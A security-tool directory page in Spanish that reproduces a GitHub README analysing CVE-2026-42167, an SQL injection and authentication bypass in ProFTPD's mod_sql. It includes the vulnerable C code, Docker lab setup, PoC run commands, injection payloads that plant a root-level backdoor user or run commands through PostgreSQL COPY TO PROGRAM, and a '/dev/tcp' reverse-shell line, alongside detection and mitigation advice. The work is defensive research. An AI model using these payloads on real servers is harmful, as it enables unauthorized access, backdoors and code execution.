Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
proftpd-CVE-2026-42167-analysis — Reproducción independiente, análisis de causa raíz a nivel de código y redacción de exposición realista para CVE-2026-42167 (bypass de is_escaped_text() en mod_sql de ProFTPD). | Kitploit
Herramientas/GitHubGitHub/dinosn/proftpd-cve-2026-42167-analysis
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y Educación
GitHubdinosn/proftpd-cve-2026-42167-analysis

proftpd-CVE-2026-42167-analysis

Reproducción independiente, análisis de causa raíz a nivel de código y redacción de exposición realista para CVE-2026-42167 (bypass de is_escaped_text() en mod_sql de ProFTPD).

Ver Repositorio
31hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-42167 — Inyección SQL / Bypass de Autenticación / RCE en ProFTPD mod_sql

Reproducción independiente, análisis del código fuente a nivel de causa raíz y un análisis de exposición franco para CVE-2026-42167 — el bypass de is_escaped_text() en la canalización de registro de mod_sql de ProFTPD, divulgado por ZeroPath Research y corregido en ProFTPD 1.3.9a / 1.3.10rc1.

Construido y verificado de extremo a extremo en Docker en macOS / Apple Silicon, 2026-04-29.

TL;DR — consulte Conclusión para conocer el panorama de exposición realista antes de decidir cuánto preocuparse. Este no es un error de instalación predeterminada, pero el patrón de comillas peligroso es el patrón que la documentación oficial recomienda usar, por lo que una gran fracción de las implementaciones de mod_sql lo heredan.

CampoValor
CVECVE-2026-42167
CWECWE-89 (Inyección SQL), CWE-78 (Inyección de comandos del sistema operativo — vía COPY TO PROGRAM de PG)
AfectaProFTPD ≤ 1.3.9 con mod_sql + SQLLog/SQLNamedQuery cuya cadena de formato interpola una variable controlada por el atacante dentro de comillas simples
Corregido en1.3.9a (af90843ba…) / 1.3.10rc1, consulte el commit e6f728481 ("Issue #2052")
Commit vulnerable fijadoae25959adb05ae1d6ebfa1f36bf778c9c34e9410
Archivo vulnerablecontrib/mod_sql.c líneas 741–758 (is_escaped_text) y línea 777 (sql_resolved_append_text)
Divulgación originalhttps://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
PoC públicohttps://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
Notas de versiónhttp://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1

1. Causa raíz — heurística is_escaped_text() en contrib/mod_sql.c

mod_sql resuelve las variables de formato de registro (%U, %{basename}, etc.) y añade cada fragmento al SQL renderizado mediante sql_resolved_append_text(). Para preservar la compatibilidad con configuraciones de administradores que ya envuelven variables en '…', la función llama a is_escaped_text() para decidir si se necesita sql_escapestring:```c /* contrib/mod_sql.c — vulnerable commit ae25959 */ 741 static int is_escaped_text(const char text, size_t text_len) { 742 register unsigned int i; 743 744 if (text[0] != ''') return FALSE; 745 if (text[text_len-1] != ''') return FALSE; 746 for (i = 1; i < text_len-1; i++) 747 if (text[i] == ''') return FALSE; 748 return TRUE; 749 } … 777 if (is_escaped_text(text, text_len) == FALSE) { … / …sql_escapestring()… */ 790 } else { 791 pr_trace_msg(trace_channel, 17, 792 "text '%s' is already escaped, skipping escaping it again", text); 793 new_text = (char *) text; 794 new_textlen = text_len; 795 }

root@kitploit:~
La comprobación es puramente estructural: no puede distinguir *"ya escapado por
código de confianza"* de *"diseñado por un atacante para parecer ya escapado".*
Cualquier valor proporcionado por el cliente que coincida con `'<no-internal-quotes>'` omite
`sql_escapestring` y se concatena en bruto en la consulta final.

La configuración estándar y documentada envuelve `%U` / `%{basename}` / `%m` entre comillas
simples:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity

Cuando el atacante envía USER '<payload>' (comilla inicial y final, sin comillas internas), el resolvedor sustituye %U sin escapar, produciendo ''<payload>'' en el SQL — los literales de cadena vacía cierran las comillas circundantes y <payload> se ejecuta como SQL crudo. Con PostgreSQL (PQexec) y SQLite (sqlite3_exec), se admiten consultas apiladas, por lo que <payload> puede ser cualquier secuencia de sentencias.

Debido a que SQLLog ERR_* se activa en inicios de sesión fallidos y %U se establece desde USER antes de la autenticación, el ataque es completamente no autenticado.

La corrección (commit e6f728481, "Issue #2052")

sql_resolved_append_text() gana un parámetro already_escaped. Los llamadores que resuelven valores de entrada del cliente pasan FALSE y ahora pasan por sql_escapestring incondicionalmente — la heurística is_escaped_text() todavía se aplica para la ruta legítima de "config con valor pre-escapado", pero ya no se aplica a datos controlados por el atacante.


2. Entorno de laboratorio```

+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+

root@kitploit:~
- Ambos contenedores se levantan mediante `setup/docker-compose.yml`.
- `setup/proftpd.conf` habilita la configuración de registro vulnerable (ver §1).
- `setup/seed.sql` crea `users`, `groups`, `activity_log`, `xfer_log`
  y `secrets`, además de un único usuario FTP legítimo `ftpuser / ftppass`.

---

## 3. Reproducción — copiar y pegar

Requisitos previos: Docker Desktop, Python 3.10+, git. (`uv` es opcional; los
PoCs solo usan la biblioteca estándar.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh

Las dos variantes interactivas en el repositorio upstream (preauth_user_rce.py, postauth_stor_rce.py) no están modificadas y abren una reverse shell respaldada por PTY. Usan la misma primitiva que la variante marcadora — solo sustituye el comando de shell por bash -i >& /dev/tcp/<host>/<port> 0>&1 y escucha en <port> primero.


4. Los payloads, byte por byte

Backdoor pre-autenticación (comando USER, %U)```

USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x

root@kitploit:~
Por qué funciona:

1. Las **comillas externas + sin comillas internas** coinciden con
   `is_escaped_text()` → se omite el escape.
2. El `SQLNamedQuery` configurado es `INSERT "'%U', '%r', '%m'" activity_log`,
   por lo que el SQL renderizado se convierte en
   `INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` — pero
   `<payload>` en sí comienza con `'`, por lo que la consulta efectiva es
   `INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
   VALUES($$backdoor$$,…); --', '<%r>', '<%m>')`.
3. `--` comenta los espacios de formato finales.
4. El entrecomillado con dólar `$$…$$` de PostgreSQL nos permite pasar cadenas (`backdoor`,
   `pwned123`, `/`, `/bin/bash`) sin usar nunca `'` — preservando la
   omisión de `is_escaped_text()`.
5. `SQLLog ERR_*` se dispara en el inicio de sesión fallido → `PQexec()` ejecuta el
   `INSERT INTO users` apilado → la cuenta de backdoor existe en la tabla de autenticación.

### Backdoor post-autenticación (nombre de archivo `STOR`, `%{basename}`)```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'

Mismo bypass, diferente disparador. chr(47) = '/' se usa porque / en un nombre de archivo se interpreta como separador de directorio por FTP, por lo que el atacante no puede poner un / literal en el nombre de archivo — chr() permite que la cuenta backdoor obtenga homedir = '/' sin enviar uno por la red.

RCE pre-autenticación (USER + COPY TO PROGRAM)```

USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x

root@kitploit:~
| Archivo | Qué muestra |
|---|---|
| `logs/01_preauth_backdoor.log` | Salida del PoC pre-autenticación, el inicio de sesión como `backdoor` tiene éxito (`230`) |
| `logs/02_db_users_after.log` | La tabla `users` ahora contiene `backdoor / pwned123 / uid=0` |
| `logs/03_postauth_stor_backdoor.log` | Salida del PoC post-autenticación vía STOR `%{basename}` |
| `logs/05_preauth_rce_marker.log` | Payload marcador enviado por FTP |
| `logs/06_users_final.log` | Estado final de la tabla `users` |
| `logs/07_proftpd_trace.log` | El registro de traza propio de ProFTPD imprime `text '…' is already escaped, skipping escaping it again` para cada payload inyectado — evidencia directa de que `is_escaped_text()` devuelve TRUE en la entrada del atacante |
| `logs/08_rce_proof.log` | `/tmp/cve-2026-42167-rce.txt` escrito *por el usuario postgres* en el contenedor de postgres |
| `screenshots/*.png` | Renderizados PNG de cada sesión de terminal capturada |

La línea del registro de traza es la prueba irrefutable:```
2026-04-29 06:35:11,297 [548] <sql:17>: text '', null, null); INSERT INTO users
  VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
  is already escaped, skipping escaping it again

Ese mensaje se emite en contrib/mod_sql.c:791 solo cuando is_escaped_text() devuelve TRUE — es decir, exactamente la omisión.


6. Detección / mitigación

Detección (forense en un servidor desplegado):

  • grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log con Trace sql:17 habilitado marca cada intento de inyección que alcanzó la omisión.
  • Audite activity_log (o la tabla en la que escriba SQLNamedQuery INSERT): las filas donde la columna de nombre de usuario comienza con una comilla suelta, contiene null, null);, o contiene INSERT/COPY TO PROGRAM/UPDATE son evidencia.
  • Audite la tabla users en busca de cuentas con uid=0, homedir='/', o shell configurado a un shell real cuando la política es usar /sbin/nologin.

Mitigación:

  • Actualice ProFTPD ≥ 1.3.9a / 1.3.10rc1 (commit e6f728481).
  • Control compensatorio si la actualización aún no es posible: elimine las variables controlables por el atacante de las cadenas de formato SQLNamedQuery (reemplace '%U' con el más seguro %U solo dentro de backends parametrizados, o use registro basado en archivos de texto plano para inicios de sesión fallidos).
  • Defensa en profundidad: asegúrese de que el rol de PostgreSQL de mod_sql no sea un superusuario — eso solo elimina la ruta de RCE COPY TO PROGRAM (la omisión de autenticación mediante INSERT INTO users apilado sigue funcionando, pero el radio de explosión queda contenido a la base de datos de proftpd).

7. Mapa de archivos para este repositorio```

. ├── README.md # this file ├── poc/ # ZeroPath PoC, cloned │ ├── README.md │ ├── pocs/ │ │ ├── preauth_user_backdoor.py │ │ ├── preauth_user_rce.py │ │ ├── preauth_rce_marker.py # added — non-interactive RCE proof │ │ ├── postauth_stor_backdoor.py │ │ └── postauth_stor_rce.py │ └── setup/ │ ├── docker-compose.yml │ ├── Dockerfile.proftpd │ ├── proftpd.conf │ ├── seed.sql │ ├── setup.sh │ └── teardown.sh ├── logs/ # raw terminal output captured during reproduction └── screenshots/ # PNG renders of each log ├── 00_overview.png ├── 01_preauth_backdoor.png ├── 02_db_users_after.png ├── 03_postauth_stor_backdoor.png ├── 04_preauth_rce_marker.png ├── 05_rce_proof.png ├── 06_proftpd_trace.png └── 07_users_final.png

root@kitploit:~
---

## 8. ¿Es esto realista, o un caso límite artificial?

La respuesta honesta: **más limitado que un gusano de "envía un paquete y
apodérate del servidor", pero el patrón vulnerable está en la propia
documentación de ProFTPD, así que no es artificial.** Tres dimensiones
independientes deciden si una implementación concreta se ve afectada, y
cada una reduce la población.

### 8.1 ¿Está `mod_sql` siquiera cargado?

`mod_sql` es opcional. **No** está en la compilación predeterminada de
ProFTPD ni en la configuración predeterminada de los paquetes de las
distribuciones, como `proftpd-basic` de Debian. Solo lo tienes si:

- Compilaste con `--with-modules=mod_sql:mod_sql_<backend>`, o
- Instalaste un paquete específico del backend: `proftpd-mod-pgsql` /
  `proftpd-mod-mysql` / `proftpd-mod-sqlite` de Debian, `proftpd-postgresql` /
  `proftpd-mysql` de RHEL.

La gente instala esos paquetes por una razón clara: **autenticación**
respaldada por SQL (usuarios en una base de datos en lugar de `/etc/passwd`)
o **registro de actividad** respaldado por SQL para auditoría. Ambos son
comunes en implementaciones de hosting compartido, FTP gestionado y
depósitos FTP corporativos. Así que `mod_sql` es una parte real de la base
de instalaciones — solo que no "todos los servidores".

### 8.2 ¿Se usa realmente el patrón vulnerable `SQLNamedQuery`?

Aquí es donde el realismo es mayor. El patrón que desencadena el error *es
el documentado.* Ejemplos tomados directamente del árbol ascendente en el
commit vulnerable fijado:```
# doc/contrib/mod_sql.html  ── canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog        RETR,STOR      insertfileinfo

# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
  (user, client_ip, server_ip, protocol, when)
  VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog        PASS    log_sess IGNORE_ERRORS

# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
  ('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog        STOR    upload

Cada uno envuelve una variable controlada por el atacante (%u, %r) entre comillas simples — exactamente la forma que is_escaped_text() clasifica erróneamente. Un administrador que copie y pegue desde la documentación oficial hereda el patrón vulnerable. Esa es la razón principal para tomárselo en serio.

8.3 Pre-auth vs post-auth

La ruta completamente no autenticada (USER + %U + SQLLog ERR_*) es el caso más restringido. Requiere las tres condiciones:

  • Un SQLNamedQuery que interpole %U (nombre de usuario original, establecido incluso en un inicio de sesión fallido) dentro de comillas simples — menos común que %u en configuraciones reales, ya que la mayoría de los administradores quieren el nombre de usuario exitoso para auditoría y usan %u.
  • Una directiva SQLLog que se dispare antes de la autenticación. SQLLog ERR_* es el comodín canónico para eso. SQLLog PASS … y SQLLog STOR … (las formas más comunes) no lo hacen.
  • Un backend que admita consultas apiladas (PostgreSQL o SQLite — ver §8.4).

Si la configuración usa %u en lugar de %U, el mismo fallo sigue produciendo eludición de autenticación — pero solo post-auth, es decir, el atacante primero necesita cualquier credencial válida antes de poder plantar una puerta trasera con uid=0. En la mayoría de las configuraciones reales, esta es la exposición realista: usuario FTP de bajo privilegio → usuario FTP equivalente a root mediante una sola subida.

8.4 El backend importa mucho

La eludición se dispara de forma idéntica en todos los backends, pero lo que el atacante puede hacer difiere notablemente:

Backend¿Consultas apiladas?Eludición de auth vía INSERT INTO usersRCE en el host de la BD
PostgreSQLSí (PQexec)FuncionaSí vía COPY TO PROGRAM si el rol de la BD es superusuario
SQLiteSí (sqlite3_exec)Funciona (y el worker de FTP a menudo tiene PRIVS_ROOT — incluso peor)No hay equivalente directo, pero la tabla users escribible → inicio de sesión FTP como root
MySQLNo — mysql_real_query sin CLIENT_MULTI_STATEMENTSNo puede añadir una segunda sentencia; se reduce a subconsulta de una sola sentencia / SQLi ciega solo para exfiltración de datosNo

PostgreSQL o SQLite ⇒ impacto completo. MySQL ⇒ solo fuga de datos / ciego basado en tiempo. MySQL es, con diferencia, el backend más común para hosting compartido (cPanel, Plesk, ISPConfig todos lo usan por defecto); PostgreSQL es más común en builds empresariales personalizadas. Ambas poblaciones no son triviales.

8.5 El RCE tiene su propia puerta

El RCE destacado de COPY TO PROGRAM además requiere que el rol de PostgreSQL de mod_sql sea superusuario (o miembro de pg_execute_server_program). Eso es:

  • Común cuando la BD se creó con la variable de entorno POSTGRES_USER de la imagen oficial de Docker de postgres (el valor por defecto para la mayoría de los laboratorios de PoC y muchas imágenes de appliances, incluido el setup/ de este repositorio).
  • Común cuando ProFTPD gestiona su propia instancia de BD (despliegues de un solo inquilino, imágenes de appliances alojadas).
  • Menos común cuando el aprovisionamiento liderado por el DBA creó el rol con privilegios mínimos.

Si el rol no es superusuario, aún se obtiene la primitiva de eludición de autenticación (crítica en sí misma), pero el RCE a nivel de SO en el host de la BD desaparece.


9. Uniendo las piezas — quién está realmente expuesto```

ProFTPD installs └── ~with mod_sql loaded ←── opt-in but common in shared/managed FTP ├── ~with the canonical SQLNamedQuery INSERT pattern (most do — it's │ the documented form) │ ├── PostgreSQL backend │ │ ├── DB role = superuser → pre-/post-auth RCE on DB host │ │ └── DB role ≠ superuser → post-auth root FTP backdoor (auth bypass) │ ├── SQLite backend → post-auth root FTP backdoor │ │ (worker often runs as root → very bad) │ └── MySQL backend → post-auth blind SQLi / data exfil only └── ~with attacker-controlled %U + SQLLog ERR_* (uncommon) → fully pre-auth versions of the above

root@kitploit:~
---

## 10. Recomendación

Para cualquiera que ejecute ProFTPD `mod_sql`:

- **Actualice** a ≥ 1.3.9a sin importar nada. Es la única solución completa.
- **Controles compensatorios** hasta que pueda parchear:
  - Reduzca el rol de la BD a **no superusuario** — elimina la rama de RCE en
    PostgreSQL.
  - Audite su tabla `users` / de autenticación en busca de filas `uid=0` sueltas o cuentas
    añadidas recientemente — consulte §6.
  - Active `Trace sql:17` y busque
    `is already escaped, skipping escaping it again` en `trace.log` — esa
    línea es evidencia directa de un intento de bypass.
  - Si es viable, elimine las directivas `SQLLog ERR_*` y cualquier
    formato `SQLNamedQuery INSERT` que interpole `%U` (la primitiva
    pre-autenticación). La ruta post-autenticación seguirá existiendo vía `%u` /
    `%{basename}`, pero elimina el peor caso.

---

## 11. Conclusión

- Esto **no** es una "vulnerabilidad de instalación predeterminada" — tiene que estar
  ejecutando `mod_sql`.
- **Sí** es una "vulnerabilidad de seguir la documentación" — el patrón de
  comillas peligroso es el oficial, copiado y pegado en los HOWTOs oficiales.
- El escenario **totalmente no autenticado** del titular es real pero
  requiere una combinación de configuración específica (pre-auth `%U` + comodín
  `SQLLog ERR_*`) que es menos común que la ruta post-autenticación.
- El escenario de **escalada de privilegios post-autenticación** (cualquier usuario FTP → backdoor
  FTP uid=0) es el mucho más realista y se aplica a una gran
  fracción de implementaciones `mod_sql` + PostgreSQL/SQLite que usan los
  patrones de registro documentados.
- El **RCE a nivel de SO en el host de la BD** está condicionado a que el rol de la BD sea
  superusuario — común en configuraciones de un solo inquilino / tipo appliance, menos
  común en entornos gestionados por DBA.

---

## Créditos

- Vulnerabilidad descubierta y divulgada originalmente por
  [ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce).
- Repositorio público de PoC:
  [ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc).
- Corrección por TJ Saunders, commit
  [`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48)
  ("Issue #2052").

Este repositorio es una reproducción y análisis independientes para investigación
defensiva y educación. Sin 0-day. Úselo solo en sistemas que esté autorizado
a probar.
Descargar herramienta